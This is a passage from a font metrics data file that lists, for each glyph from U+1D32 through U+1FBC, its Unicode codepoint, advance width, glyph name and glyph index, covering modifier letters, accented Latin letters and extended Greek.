U 7474 ; WX 430 ; N uni1D32 ; G 1950
U 7475 ; WX 517 ; N uni1D33 ; G 1951
U 7476 ; WX 527 ; N uni1D34 ; G 1952
U 7477 ; WX 234 ; N uni1D35 ; G 1953
U 7478 ; WX 234 ; N uni1D36 ; G 1954
U 7479 ; WX 488 ; N uni1D37 ; G 1955
U 7480 ; WX 401 ; N uni1D38 ; G 1956
U 7481 ; WX 626 ; N uni1D39 ; G 1957
U 7482 ; WX 527 ; N uni1D3A ; G 1958
U 7483 ; WX 527 ; N uni1D3B ; G 1959
U 7484 ; WX 535 ; N uni1D3C ; G 1960
U 7485 ; WX 509 ; N uni1D3D ; G 1961
U 7486 ; WX 461 ; N uni1D3E ; G 1962
U 7487 ; WX 485 ; N uni1D3F ; G 1963
U 7488 ; WX 430 ; N uni1D40 ; G 1964
U 7489 ; WX 511 ; N uni1D41 ; G 1965
U 7490 ; WX 695 ; N uni1D42 ; G 1966
U 7491 ; WX 458 ; N uni1D43 ; G 1967
U 7492 ; WX 458 ; N uni1D44 ; G 1968
U 7493 ; WX 479 ; N uni1D45 ; G 1969
U 7494 ; WX 712 ; N uni1D46 ; G 1970
U 7495 ; WX 479 ; N uni1D47 ; G 1971
U 7496 ; WX 479 ; N uni1D48 ; G 1972
U 7497 ; WX 479 ; N uni1D49 ; G 1973
U 7498 ; WX 479 ; N uni1D4A ; G 1974
U 7499 ; WX 386 ; N uni1D4B ; G 1975
U 7500 ; WX 386 ; N uni1D4C ; G 1976
U 7501 ; WX 479 ; N uni1D4D ; G 1977
U 7502 ; WX 219 ; N uni1D4E ; G 1978
U 7503 ; WX 487 ; N uni1D4F ; G 1979
U 7504 ; WX 664 ; N uni1D50 ; G 1980
U 7505 ; WX 456 ; N uni1D51 ; G 1981
U 7506 ; WX 488 ; N uni1D52 ; G 1982
U 7507 ; WX 414 ; N uni1D53 ; G 1983
U 7508 ; WX 488 ; N uni1D54 ; G 1984
U 7509 ; WX 488 ; N uni1D55 ; G 1985
U 7510 ; WX 479 ; N uni1D56 ; G 1986
U 7511 ; WX 388 ; N uni1D57 ; G 1987
U 7512 ; WX 456 ; N uni1D58 ; G 1988
U 7513 ; WX 462 ; N uni1D59 ; G 1989
U 7514 ; WX 664 ; N uni1D5A ; G 1990
U 7515 ; WX 501 ; N uni1D5B ; G 1991
U 7517 ; WX 451 ; N uni1D5D ; G 1992
U 7518 ; WX 429 ; N uni1D5E ; G 1993
U 7519 ; WX 433 ; N uni1D5F ; G 1994
U 7520 ; WX 493 ; N uni1D60 ; G 1995
U 7521 ; WX 406 ; N uni1D61 ; G 1996
U 7522 ; WX 219 ; N uni1D62 ; G 1997
U 7523 ; WX 315 ; N uni1D63 ; G 1998
U 7524 ; WX 456 ; N uni1D64 ; G 1999
U 7525 ; WX 501 ; N uni1D65 ; G 2000
U 7526 ; WX 451 ; N uni1D66 ; G 2001
U 7527 ; WX 429 ; N uni1D67 ; G 2002
U 7528 ; WX 451 ; N uni1D68 ; G 2003
U 7529 ; WX 493 ; N uni1D69 ; G 2004
U 7530 ; WX 406 ; N uni1D6A ; G 2005
U 7543 ; WX 716 ; N uni1D77 ; G 2006
U 7544 ; WX 527 ; N uni1D78 ; G 2007
U 7547 ; WX 545 ; N uni1D7B ; G 2008
U 7549 ; WX 747 ; N uni1D7D ; G 2009
U 7557 ; WX 514 ; N uni1D85 ; G 2010
U 7579 ; WX 479 ; N uni1D9B ; G 2011
U 7580 ; WX 414 ; N uni1D9C ; G 2012
U 7581 ; WX 414 ; N uni1D9D ; G 2013
U 7582 ; WX 488 ; N uni1D9E ; G 2014
U 7583 ; WX 386 ; N uni1D9F ; G 2015
U 7584 ; WX 377 ; N uni1DA0 ; G 2016
U 7585 ; WX 348 ; N uni1DA1 ; G 2017
U 7586 ; WX 479 ; N uni1DA2 ; G 2018
U 7587 ; WX 456 ; N uni1DA3 ; G 2019
U 7588 ; WX 347 ; N uni1DA4 ; G 2020
U 7589 ; WX 281 ; N uni1DA5 ; G 2021
U 7590 ; WX 347 ; N uni1DA6 ; G 2022
U 7591 ; WX 347 ; N uni1DA7 ; G 2023
U 7592 ; WX 431 ; N uni1DA8 ; G 2024
U 7593 ; WX 326 ; N uni1DA9 ; G 2025
U 7594 ; WX 330 ; N uni1DAA ; G 2026
U 7595 ; WX 370 ; N uni1DAB ; G 2027
U 7596 ; WX 664 ; N uni1DAC ; G 2028
U 7597 ; WX 664 ; N uni1DAD ; G 2029
U 7598 ; WX 562 ; N uni1DAE ; G 2030
U 7599 ; WX 562 ; N uni1DAF ; G 2031
U 7600 ; WX 448 ; N uni1DB0 ; G 2032
U 7601 ; WX 488 ; N uni1DB1 ; G 2033
U 7602 ; WX 542 ; N uni1DB2 ; G 2034
U 7603 ; WX 422 ; N uni1DB3 ; G 2035
U 7604 ; WX 396 ; N uni1DB4 ; G 2036
U 7605 ; WX 388 ; N uni1DB5 ; G 2037
U 7606 ; WX 583 ; N uni1DB6 ; G 2038
U 7607 ; WX 494 ; N uni1DB7 ; G 2039
U 7608 ; WX 399 ; N uni1DB8 ; G 2040
U 7609 ; WX 451 ; N uni1DB9 ; G 2041
U 7610 ; WX 501 ; N uni1DBA ; G 2042
U 7611 ; WX 417 ; N uni1DBB ; G 2043
U 7612 ; WX 523 ; N uni1DBC ; G 2044
U 7613 ; WX 470 ; N uni1DBD ; G 2045
U 7614 ; WX 455 ; N uni1DBE ; G 2046
U 7615 ; WX 425 ; N uni1DBF ; G 2047
U 7620 ; WX 0 ; N uni1DC4 ; G 2048
U 7621 ; WX 0 ; N uni1DC5 ; G 2049
U 7622 ; WX 0 ; N uni1DC6 ; G 2050
U 7623 ; WX 0 ; N uni1DC7 ; G 2051
U 7624 ; WX 0 ; N uni1DC8 ; G 2052
U 7625 ; WX 0 ; N uni1DC9 ; G 2053
U 7680 ; WX 774 ; N uni1E00 ; G 2054
U 7681 ; WX 675 ; N uni1E01 ; G 2055
U 7682 ; WX 762 ; N uni1E02 ; G 2056
U 7683 ; WX 716 ; N uni1E03 ; G 2057
U 7684 ; WX 762 ; N uni1E04 ; G 2058
U 7685 ; WX 716 ; N uni1E05 ; G 2059
U 7686 ; WX 762 ; N uni1E06 ; G 2060
U 7687 ; WX 716 ; N uni1E07 ; G 2061
U 7688 ; WX 734 ; N uni1E08 ; G 2062
U 7689 ; WX 593 ; N uni1E09 ; G 2063
U 7690 ; WX 830 ; N uni1E0A ; G 2064
U 7691 ; WX 716 ; N uni1E0B ; G 2065
U 7692 ; WX 830 ; N uni1E0C ; G 2066
U 7693 ; WX 716 ; N uni1E0D ; G 2067
U 7694 ; WX 830 ; N uni1E0E ; G 2068
U 7695 ; WX 716 ; N uni1E0F ; G 2069
U 7696 ; WX 830 ; N uni1E10 ; G 2070
U 7697 ; WX 716 ; N uni1E11 ; G 2071
U 7698 ; WX 830 ; N uni1E12 ; G 2072
U 7699 ; WX 716 ; N uni1E13 ; G 2073
U 7700 ; WX 683 ; N uni1E14 ; G 2074
U 7701 ; WX 678 ; N uni1E15 ; G 2075
U 7702 ; WX 683 ; N uni1E16 ; G 2076
U 7703 ; WX 678 ; N uni1E17 ; G 2077
U 7704 ; WX 683 ; N uni1E18 ; G 2078
U 7705 ; WX 678 ; N uni1E19 ; G 2079
U 7706 ; WX 683 ; N uni1E1A ; G 2080
U 7707 ; WX 678 ; N uni1E1B ; G 2081
U 7708 ; WX 683 ; N uni1E1C ; G 2082
U 7709 ; WX 678 ; N uni1E1D ; G 2083
U 7710 ; WX 683 ; N uni1E1E ; G 2084
U 7711 ; WX 435 ; N uni1E1F ; G 2085
U 7712 ; WX 821 ; N uni1E20 ; G 2086
U 7713 ; WX 716 ; N uni1E21 ; G 2087
U 7714 ; WX 837 ; N uni1E22 ; G 2088
U 7715 ; WX 712 ; N uni1E23 ; G 2089
U 7716 ; WX 837 ; N uni1E24 ; G 2090
U 7717 ; WX 712 ; N uni1E25 ; G 2091
U 7718 ; WX 837 ; N uni1E26 ; G 2092
U 7719 ; WX 712 ; N uni1E27 ; G 2093
U 7720 ; WX 837 ; N uni1E28 ; G 2094
U 7721 ; WX 712 ; N uni1E29 ; G 2095
U 7722 ; WX 837 ; N uni1E2A ; G 2096
U 7723 ; WX 712 ; N uni1E2B ; G 2097
U 7724 ; WX 372 ; N uni1E2C ; G 2098
U 7725 ; WX 343 ; N uni1E2D ; G 2099
U 7726 ; WX 372 ; N uni1E2E ; G 2100
U 7727 ; WX 343 ; N uni1E2F ; G 2101
U 7728 ; WX 775 ; N uni1E30 ; G 2102
U 7729 ; WX 665 ; N uni1E31 ; G 2103
U 7730 ; WX 775 ; N uni1E32 ; G 2104
U 7731 ; WX 665 ; N uni1E33 ; G 2105
U 7732 ; WX 775 ; N uni1E34 ; G 2106
U 7733 ; WX 665 ; N uni1E35 ; G 2107
U 7734 ; WX 637 ; N uni1E36 ; G 2108
U 7735 ; WX 343 ; N uni1E37 ; G 2109
U 7736 ; WX 637 ; N uni1E38 ; G 2110
U 7737 ; WX 343 ; N uni1E39 ; G 2111
U 7738 ; WX 637 ; N uni1E3A ; G 2112
U 7739 ; WX 343 ; N uni1E3B ; G 2113
U 7740 ; WX 637 ; N uni1E3C ; G 2114
U 7741 ; WX 343 ; N uni1E3D ; G 2115
U 7742 ; WX 995 ; N uni1E3E ; G 2116
U 7743 ; WX 1042 ; N uni1E3F ; G 2117
U 7744 ; WX 995 ; N uni1E40 ; G 2118
U 7745 ; WX 1042 ; N uni1E41 ; G 2119
U 7746 ; WX 995 ; N uni1E42 ; G 2120
U 7747 ; WX 1042 ; N uni1E43 ; G 2121
U 7748 ; WX 837 ; N uni1E44 ; G 2122
U 7749 ; WX 712 ; N uni1E45 ; G 2123
U 7750 ; WX 837 ; N uni1E46 ; G 2124
U 7751 ; WX 712 ; N uni1E47 ; G 2125
U 7752 ; WX 837 ; N uni1E48 ; G 2126
U 7753 ; WX 712 ; N uni1E49 ; G 2127
U 7754 ; WX 837 ; N uni1E4A ; G 2128
U 7755 ; WX 712 ; N uni1E4B ; G 2129
U 7756 ; WX 850 ; N uni1E4C ; G 2130
U 7757 ; WX 687 ; N uni1E4D ; G 2131
U 7758 ; WX 850 ; N uni1E4E ; G 2132
U 7759 ; WX 687 ; N uni1E4F ; G 2133
U 7760 ; WX 850 ; N uni1E50 ; G 2134
U 7761 ; WX 687 ; N uni1E51 ; G 2135
U 7762 ; WX 850 ; N uni1E52 ; G 2136
U 7763 ; WX 687 ; N uni1E53 ; G 2137
U 7764 ; WX 733 ; N uni1E54 ; G 2138
U 7765 ; WX 716 ; N uni1E55 ; G 2139
U 7766 ; WX 733 ; N uni1E56 ; G 2140
U 7767 ; WX 716 ; N uni1E57 ; G 2141
U 7768 ; WX 770 ; N uni1E58 ; G 2142
U 7769 ; WX 493 ; N uni1E59 ; G 2143
U 7770 ; WX 770 ; N uni1E5A ; G 2144
U 7771 ; WX 493 ; N uni1E5B ; G 2145
U 7772 ; WX 770 ; N uni1E5C ; G 2146
U 7773 ; WX 493 ; N uni1E5D ; G 2147
U 7774 ; WX 770 ; N uni1E5E ; G 2148
U 7775 ; WX 493 ; N uni1E5F ; G 2149
U 7776 ; WX 720 ; N uni1E60 ; G 2150
U 7777 ; WX 595 ; N uni1E61 ; G 2151
U 7778 ; WX 720 ; N uni1E62 ; G 2152
U 7779 ; WX 595 ; N uni1E63 ; G 2153
U 7780 ; WX 720 ; N uni1E64 ; G 2154
U 7781 ; WX 595 ; N uni1E65 ; G 2155
U 7782 ; WX 720 ; N uni1E66 ; G 2156
U 7783 ; WX 595 ; N uni1E67 ; G 2157
U 7784 ; WX 720 ; N uni1E68 ; G 2158
U 7785 ; WX 595 ; N uni1E69 ; G 2159
U 7786 ; WX 682 ; N uni1E6A ; G 2160
U 7787 ; WX 478 ; N uni1E6B ; G 2161
U 7788 ; WX 682 ; N uni1E6C ; G 2162
U 7789 ; WX 478 ; N uni1E6D ; G 2163
U 7790 ; WX 682 ; N uni1E6E ; G 2164
U 7791 ; WX 478 ; N uni1E6F ; G 2165
U 7792 ; WX 682 ; N uni1E70 ; G 2166
U 7793 ; WX 478 ; N uni1E71 ; G 2167
U 7794 ; WX 812 ; N uni1E72 ; G 2168
U 7795 ; WX 712 ; N uni1E73 ; G 2169
U 7796 ; WX 812 ; N uni1E74 ; G 2170
U 7797 ; WX 712 ; N uni1E75 ; G 2171
U 7798 ; WX 812 ; N uni1E76 ; G 2172
U 7799 ; WX 712 ; N uni1E77 ; G 2173
U 7800 ; WX 812 ; N uni1E78 ; G 2174
U 7801 ; WX 712 ; N uni1E79 ; G 2175
U 7802 ; WX 812 ; N uni1E7A ; G 2176
U 7803 ; WX 712 ; N uni1E7B ; G 2177
U 7804 ; WX 774 ; N uni1E7C ; G 2178
U 7805 ; WX 652 ; N uni1E7D ; G 2179
U 7806 ; WX 774 ; N uni1E7E ; G 2180
U 7807 ; WX 652 ; N uni1E7F ; G 2181
U 7808 ; WX 1103 ; N Wgrave ; G 2182
U 7809 ; WX 924 ; N wgrave ; G 2183
U 7810 ; WX 1103 ; N Wacute ; G 2184
U 7811 ; WX 924 ; N wacute ; G 2185
U 7812 ; WX 1103 ; N Wdieresis ; G 2186
U 7813 ; WX 924 ; N wdieresis ; G 2187
U 7814 ; WX 1103 ; N uni1E86 ; G 2188
U 7815 ; WX 924 ; N uni1E87 ; G 2189
U 7816 ; WX 1103 ; N uni1E88 ; G 2190
U 7817 ; WX 924 ; N uni1E89 ; G 2191
U 7818 ; WX 771 ; N uni1E8A ; G 2192
U 7819 ; WX 645 ; N uni1E8B ; G 2193
U 7820 ; WX 771 ; N uni1E8C ; G 2194
U 7821 ; WX 645 ; N uni1E8D ; G 2195
U 7822 ; WX 724 ; N uni1E8E ; G 2196
U 7823 ; WX 652 ; N uni1E8F ; G 2197
U 7824 ; WX 725 ; N uni1E90 ; G 2198
U 7825 ; WX 582 ; N uni1E91 ; G 2199
U 7826 ; WX 725 ; N uni1E92 ; G 2200
U 7827 ; WX 582 ; N uni1E93 ; G 2201
U 7828 ; WX 725 ; N uni1E94 ; G 2202
U 7829 ; WX 582 ; N uni1E95 ; G 2203
U 7830 ; WX 712 ; N uni1E96 ; G 2204
U 7831 ; WX 478 ; N uni1E97 ; G 2205
U 7832 ; WX 924 ; N uni1E98 ; G 2206
U 7833 ; WX 652 ; N uni1E99 ; G 2207
U 7834 ; WX 675 ; N uni1E9A ; G 2208
U 7835 ; WX 435 ; N uni1E9B ; G 2209
U 7836 ; WX 435 ; N uni1E9C ; G 2210
U 7837 ; WX 435 ; N uni1E9D ; G 2211
U 7838 ; WX 896 ; N uni1E9E ; G 2212
U 7839 ; WX 687 ; N uni1E9F ; G 2213
U 7840 ; WX 774 ; N uni1EA0 ; G 2214
U 7841 ; WX 675 ; N uni1EA1 ; G 2215
U 7842 ; WX 774 ; N uni1EA2 ; G 2216
U 7843 ; WX 675 ; N uni1EA3 ; G 2217
U 7844 ; WX 774 ; N uni1EA4 ; G 2218
U 7845 ; WX 675 ; N uni1EA5 ; G 2219
U 7846 ; WX 774 ; N uni1EA6 ; G 2220
U 7847 ; WX 675 ; N uni1EA7 ; G 2221
U 7848 ; WX 774 ; N uni1EA8 ; G 2222
U 7849 ; WX 675 ; N uni1EA9 ; G 2223
U 7850 ; WX 774 ; N uni1EAA ; G 2224
U 7851 ; WX 675 ; N uni1EAB ; G 2225
U 7852 ; WX 774 ; N uni1EAC ; G 2226
U 7853 ; WX 675 ; N uni1EAD ; G 2227
U 7854 ; WX 774 ; N uni1EAE ; G 2228
U 7855 ; WX 675 ; N uni1EAF ; G 2229
U 7856 ; WX 774 ; N uni1EB0 ; G 2230
U 7857 ; WX 675 ; N uni1EB1 ; G 2231
U 7858 ; WX 774 ; N uni1EB2 ; G 2232
U 7859 ; WX 675 ; N uni1EB3 ; G 2233
U 7860 ; WX 774 ; N uni1EB4 ; G 2234
U 7861 ; WX 675 ; N uni1EB5 ; G 2235
U 7862 ; WX 774 ; N uni1EB6 ; G 2236
U 7863 ; WX 675 ; N uni1EB7 ; G 2237
U 7864 ; WX 683 ; N uni1EB8 ; G 2238
U 7865 ; WX 678 ; N uni1EB9 ; G 2239
U 7866 ; WX 683 ; N uni1EBA ; G 2240
U 7867 ; WX 678 ; N uni1EBB ; G 2241
U 7868 ; WX 683 ; N uni1EBC ; G 2242
U 7869 ; WX 678 ; N uni1EBD ; G 2243
U 7870 ; WX 683 ; N uni1EBE ; G 2244
U 7871 ; WX 678 ; N uni1EBF ; G 2245
U 7872 ; WX 683 ; N uni1EC0 ; G 2246
U 7873 ; WX 678 ; N uni1EC1 ; G 2247
U 7874 ; WX 683 ; N uni1EC2 ; G 2248
U 7875 ; WX 678 ; N uni1EC3 ; G 2249
U 7876 ; WX 683 ; N uni1EC4 ; G 2250
U 7877 ; WX 678 ; N uni1EC5 ; G 2251
U 7878 ; WX 683 ; N uni1EC6 ; G 2252
U 7879 ; WX 678 ; N uni1EC7 ; G 2253
U 7880 ; WX 372 ; N uni1EC8 ; G 2254
U 7881 ; WX 343 ; N uni1EC9 ; G 2255
U 7882 ; WX 372 ; N uni1ECA ; G 2256
U 7883 ; WX 343 ; N uni1ECB ; G 2257
U 7884 ; WX 850 ; N uni1ECC ; G 2258
U 7885 ; WX 687 ; N uni1ECD ; G 2259
U 7886 ; WX 850 ; N uni1ECE ; G 2260
U 7887 ; WX 687 ; N uni1ECF ; G 2261
U 7888 ; WX 850 ; N uni1ED0 ; G 2262
U 7889 ; WX 687 ; N uni1ED1 ; G 2263
U 7890 ; WX 850 ; N uni1ED2 ; G 2264
U 7891 ; WX 687 ; N uni1ED3 ; G 2265
U 7892 ; WX 850 ; N uni1ED4 ; G 2266
U 7893 ; WX 687 ; N uni1ED5 ; G 2267
U 7894 ; WX 850 ; N uni1ED6 ; G 2268
U 7895 ; WX 687 ; N uni1ED7 ; G 2269
U 7896 ; WX 850 ; N uni1ED8 ; G 2270
U 7897 ; WX 687 ; N uni1ED9 ; G 2271
U 7898 ; WX 850 ; N uni1EDA ; G 2272
U 7899 ; WX 687 ; N uni1EDB ; G 2273
U 7900 ; WX 850 ; N uni1EDC ; G 2274
U 7901 ; WX 687 ; N uni1EDD ; G 2275
U 7902 ; WX 850 ; N uni1EDE ; G 2276
U 7903 ; WX 687 ; N uni1EDF ; G 2277
U 7904 ; WX 850 ; N uni1EE0 ; G 2278
U 7905 ; WX 687 ; N uni1EE1 ; G 2279
U 7906 ; WX 850 ; N uni1EE2 ; G 2280
U 7907 ; WX 687 ; N uni1EE3 ; G 2281
U 7908 ; WX 812 ; N uni1EE4 ; G 2282
U 7909 ; WX 712 ; N uni1EE5 ; G 2283
U 7910 ; WX 812 ; N uni1EE6 ; G 2284
U 7911 ; WX 712 ; N uni1EE7 ; G 2285
U 7912 ; WX 812 ; N uni1EE8 ; G 2286
U 7913 ; WX 712 ; N uni1EE9 ; G 2287
U 7914 ; WX 812 ; N uni1EEA ; G 2288
U 7915 ; WX 712 ; N uni1EEB ; G 2289
U 7916 ; WX 812 ; N uni1EEC ; G 2290
U 7917 ; WX 712 ; N uni1EED ; G 2291
U 7918 ; WX 812 ; N uni1EEE ; G 2292
U 7919 ; WX 712 ; N uni1EEF ; G 2293
U 7920 ; WX 812 ; N uni1EF0 ; G 2294
U 7921 ; WX 712 ; N uni1EF1 ; G 2295
U 7922 ; WX 724 ; N Ygrave ; G 2296
U 7923 ; WX 652 ; N ygrave ; G 2297
U 7924 ; WX 724 ; N uni1EF4 ; G 2298
U 7925 ; WX 652 ; N uni1EF5 ; G 2299
U 7926 ; WX 724 ; N uni1EF6 ; G 2300
U 7927 ; WX 652 ; N uni1EF7 ; G 2301
U 7928 ; WX 724 ; N uni1EF8 ; G 2302
U 7929 ; WX 652 ; N uni1EF9 ; G 2303
U 7930 ; WX 953 ; N uni1EFA ; G 2304
U 7931 ; WX 644 ; N uni1EFB ; G 2305
U 7936 ; WX 687 ; N uni1F00 ; G 2306
U 7937 ; WX 687 ; N uni1F01 ; G 2307
U 7938 ; WX 687 ; N uni1F02 ; G 2308
U 7939 ; WX 687 ; N uni1F03 ; G 2309
U 7940 ; WX 687 ; N uni1F04 ; G 2310
U 7941 ; WX 687 ; N uni1F05 ; G 2311
U 7942 ; WX 687 ; N uni1F06 ; G 2312
U 7943 ; WX 687 ; N uni1F07 ; G 2313
U 7944 ; WX 774 ; N uni1F08 ; G 2314
U 7945 ; WX 774 ; N uni1F09 ; G 2315
U 7946 ; WX 1041 ; N uni1F0A ; G 2316
U 7947 ; WX 1043 ; N uni1F0B ; G 2317
U 7948 ; WX 935 ; N uni1F0C ; G 2318
U 7949 ; WX 963 ; N uni1F0D ; G 2319
U 7950 ; WX 835 ; N uni1F0E ; G 2320
U 7951 ; WX 859 ; N uni1F0F ; G 2321
U 7952 ; WX 557 ; N uni1F10 ; G 2322
U 7953 ; WX 557 ; N uni1F11 ; G 2323
U 7954 ; WX 557 ; N uni1F12 ; G 2324
U 7955 ; WX 557 ; N uni1F13 ; G 2325
U 7956 ; WX 557 ; N uni1F14 ; G 2326
U 7957 ; WX 557 ; N uni1F15 ; G 2327
U 7960 ; WX 792 ; N uni1F18 ; G 2328
U 7961 ; WX 794 ; N uni1F19 ; G 2329
U 7962 ; WX 1100 ; N uni1F1A ; G 2330
U 7963 ; WX 1096 ; N uni1F1B ; G 2331
U 7964 ; WX 1023 ; N uni1F1C ; G 2332
U 7965 ; WX 1052 ; N uni1F1D ; G 2333
U 7968 ; WX 712 ; N uni1F20 ; G 2334
U 7969 ; WX 712 ; N uni1F21 ; G 2335
U 7970 ; WX 712 ; N uni1F22 ; G 2336
U 7971 ; WX 712 ; N uni1F23 ; G 2337
U 7972 ; WX 712 ; N uni1F24 ; G 2338
U 7973 ; WX 712 ; N uni1F25 ; G 2339
U 7974 ; WX 712 ; N uni1F26 ; G 2340
U 7975 ; WX 712 ; N uni1F27 ; G 2341
U 7976 ; WX 945 ; N uni1F28 ; G 2342
U 7977 ; WX 951 ; N uni1F29 ; G 2343
U 7978 ; WX 1250 ; N uni1F2A ; G 2344
U 7979 ; WX 1250 ; N uni1F2B ; G 2345
U 7980 ; WX 1180 ; N uni1F2C ; G 2346
U 7981 ; WX 1206 ; N uni1F2D ; G 2347
U 7982 ; WX 1054 ; N uni1F2E ; G 2348
U 7983 ; WX 1063 ; N uni1F2F ; G 2349
U 7984 ; WX 390 ; N uni1F30 ; G 2350
U 7985 ; WX 390 ; N uni1F31 ; G 2351
U 7986 ; WX 390 ; N uni1F32 ; G 2352
U 7987 ; WX 390 ; N uni1F33 ; G 2353
U 7988 ; WX 390 ; N uni1F34 ; G 2354
U 7989 ; WX 390 ; N uni1F35 ; G 2355
U 7990 ; WX 390 ; N uni1F36 ; G 2356
U 7991 ; WX 390 ; N uni1F37 ; G 2357
U 7992 ; WX 483 ; N uni1F38 ; G 2358
U 7993 ; WX 489 ; N uni1F39 ; G 2359
U 7994 ; WX 777 ; N uni1F3A ; G 2360
U 7995 ; WX 785 ; N uni1F3B ; G 2361
U 7996 ; WX 712 ; N uni1F3C ; G 2362
U 7997 ; WX 738 ; N uni1F3D ; G 2363
U 7998 ; WX 604 ; N uni1F3E ; G 2364
U 7999 ; WX 604 ; N uni1F3F ; G 2365
U 8000 ; WX 687 ; N uni1F40 ; G 2366
U 8001 ; WX 687 ; N uni1F41 ; G 2367
U 8002 ; WX 687 ; N uni1F42 ; G 2368
U 8003 ; WX 687 ; N uni1F43 ; G 2369
U 8004 ; WX 687 ; N uni1F44 ; G 2370
U 8005 ; WX 687 ; N uni1F45 ; G 2371
U 8008 ; WX 892 ; N uni1F48 ; G 2372
U 8009 ; WX 933 ; N uni1F49 ; G 2373
U 8010 ; WX 1221 ; N uni1F4A ; G 2374
U 8011 ; WX 1224 ; N uni1F4B ; G 2375
U 8012 ; WX 1053 ; N uni1F4C ; G 2376
U 8013 ; WX 1082 ; N uni1F4D ; G 2377
U 8016 ; WX 675 ; N uni1F50 ; G 2378
U 8017 ; WX 675 ; N uni1F51 ; G 2379
U 8018 ; WX 675 ; N uni1F52 ; G 2380
U 8019 ; WX 675 ; N uni1F53 ; G 2381
U 8020 ; WX 675 ; N uni1F54 ; G 2382
U 8021 ; WX 675 ; N uni1F55 ; G 2383
U 8022 ; WX 675 ; N uni1F56 ; G 2384
U 8023 ; WX 675 ; N uni1F57 ; G 2385
U 8025 ; WX 930 ; N uni1F59 ; G 2386
U 8027 ; WX 1184 ; N uni1F5B ; G 2387
U 8029 ; WX 1199 ; N uni1F5D ; G 2388
U 8031 ; WX 1049 ; N uni1F5F ; G 2389
U 8032 ; WX 869 ; N uni1F60 ; G 2390
U 8033 ; WX 869 ; N uni1F61 ; G 2391
U 8034 ; WX 869 ; N uni1F62 ; G 2392
U 8035 ; WX 869 ; N uni1F63 ; G 2393
U 8036 ; WX 869 ; N uni1F64 ; G 2394
U 8037 ; WX 869 ; N uni1F65 ; G 2395
U 8038 ; WX 869 ; N uni1F66 ; G 2396
U 8039 ; WX 869 ; N uni1F67 ; G 2397
U 8040 ; WX 909 ; N uni1F68 ; G 2398
U 8041 ; WX 958 ; N uni1F69 ; G 2399
U 8042 ; WX 1246 ; N uni1F6A ; G 2400
U 8043 ; WX 1251 ; N uni1F6B ; G 2401
U 8044 ; WX 1076 ; N uni1F6C ; G 2402
U 8045 ; WX 1105 ; N uni1F6D ; G 2403
U 8046 ; WX 1028 ; N uni1F6E ; G 2404
U 8047 ; WX 1076 ; N uni1F6F ; G 2405
U 8048 ; WX 687 ; N uni1F70 ; G 2406
U 8049 ; WX 687 ; N uni1F71 ; G 2407
U 8050 ; WX 557 ; N uni1F72 ; G 2408
U 8051 ; WX 557 ; N uni1F73 ; G 2409
U 8052 ; WX 712 ; N uni1F74 ; G 2410
U 8053 ; WX 712 ; N uni1F75 ; G 2411
U 8054 ; WX 390 ; N uni1F76 ; G 2412
U 8055 ; WX 390 ; N uni1F77 ; G 2413
U 8056 ; WX 687 ; N uni1F78 ; G 2414
U 8057 ; WX 687 ; N uni1F79 ; G 2415
U 8058 ; WX 675 ; N uni1F7A ; G 2416
U 8059 ; WX 675 ; N uni1F7B ; G 2417
U 8060 ; WX 869 ; N uni1F7C ; G 2418
U 8061 ; WX 869 ; N uni1F7D ; G 2419
U 8064 ; WX 687 ; N uni1F80 ; G 2420
U 8065 ; WX 687 ; N uni1F81 ; G 2421
U 8066 ; WX 687 ; N uni1F82 ; G 2422
U 8067 ; WX 687 ; N uni1F83 ; G 2423
U 8068 ; WX 687 ; N uni1F84 ; G 2424
U 8069 ; WX 687 ; N uni1F85 ; G 2425
U 8070 ; WX 687 ; N uni1F86 ; G 2426
U 8071 ; WX 687 ; N uni1F87 ; G 2427
U 8072 ; WX 774 ; N uni1F88 ; G 2428
U 8073 ; WX 774 ; N uni1F89 ; G 2429
U 8074 ; WX 1041 ; N uni1F8A ; G 2430
U 8075 ; WX 1043 ; N uni1F8B ; G 2431
U 8076 ; WX 935 ; N uni1F8C ; G 2432
U 8077 ; WX 963 ; N uni1F8D ; G 2433
U 8078 ; WX 835 ; N uni1F8E ; G 2434
U 8079 ; WX 859 ; N uni1F8F ; G 2435
U 8080 ; WX 712 ; N uni1F90 ; G 2436
U 8081 ; WX 712 ; N uni1F91 ; G 2437
U 8082 ; WX 712 ; N uni1F92 ; G 2438
U 8083 ; WX 712 ; N uni1F93 ; G 2439
U 8084 ; WX 712 ; N uni1F94 ; G 2440
U 8085 ; WX 712 ; N uni1F95 ; G 2441
U 8086 ; WX 712 ; N uni1F96 ; G 2442
U 8087 ; WX 712 ; N uni1F97 ; G 2443
U 8088 ; WX 945 ; N uni1F98 ; G 2444
U 8089 ; WX 951 ; N uni1F99 ; G 2445
U 8090 ; WX 1250 ; N uni1F9A ; G 2446
U 8091 ; WX 1250 ; N uni1F9B ; G 2447
U 8092 ; WX 1180 ; N uni1F9C ; G 2448
U 8093 ; WX 1206 ; N uni1F9D ; G 2449
U 8094 ; WX 1054 ; N uni1F9E ; G 2450
U 8095 ; WX 1063 ; N uni1F9F ; G 2451
U 8096 ; WX 869 ; N uni1FA0 ; G 2452
U 8097 ; WX 869 ; N uni1FA1 ; G 2453
U 8098 ; WX 869 ; N uni1FA2 ; G 2454
U 8099 ; WX 869 ; N uni1FA3 ; G 2455
U 8100 ; WX 869 ; N uni1FA4 ; G 2456
U 8101 ; WX 869 ; N uni1FA5 ; G 2457
U 8102 ; WX 869 ; N uni1FA6 ; G 2458
U 8103 ; WX 869 ; N uni1FA7 ; G 2459
U 8104 ; WX 909 ; N uni1FA8 ; G 2460
U 8105 ; WX 958 ; N uni1FA9 ; G 2461
U 8106 ; WX 1246 ; N uni1FAA ; G 2462
U 8107 ; WX 1251 ; N uni1FAB ; G 2463
U 8108 ; WX 1076 ; N uni1FAC ; G 2464
U 8109 ; WX 1105 ; N uni1FAD ; G 2465
U 8110 ; WX 1028 ; N uni1FAE ; G 2466
U 8111 ; WX 1076 ; N uni1FAF ; G 2467
U 8112 ; WX 687 ; N uni1FB0 ; G 2468
U 8113 ; WX 687 ; N uni1FB1 ; G 2469
U 8114 ; WX 687 ; N uni1FB2 ; G 2470
U 8115 ; WX 687 ; N uni1FB3 ; G 2471
U 8116 ; WX 687 ; N uni1FB4 ; G 2472
U 8118 ; WX 687 ; N uni1FB6 ; G 2473
U 8119 ; WX 687 ; N uni1FB7 ; G 2474
U 8120 ; WX 774 ; N uni1FB8 ; G 2475
U 8121 ; WX 774 ; N uni1FB9 ; G 2476
U 8122 ; WX 876 ; N uni1FBA ; G 2477
U 8123 ; WX 797 ; N uni1FBB ; G 2478
U 8124 ; WX 774 ; N uni1FBC ; G 2479
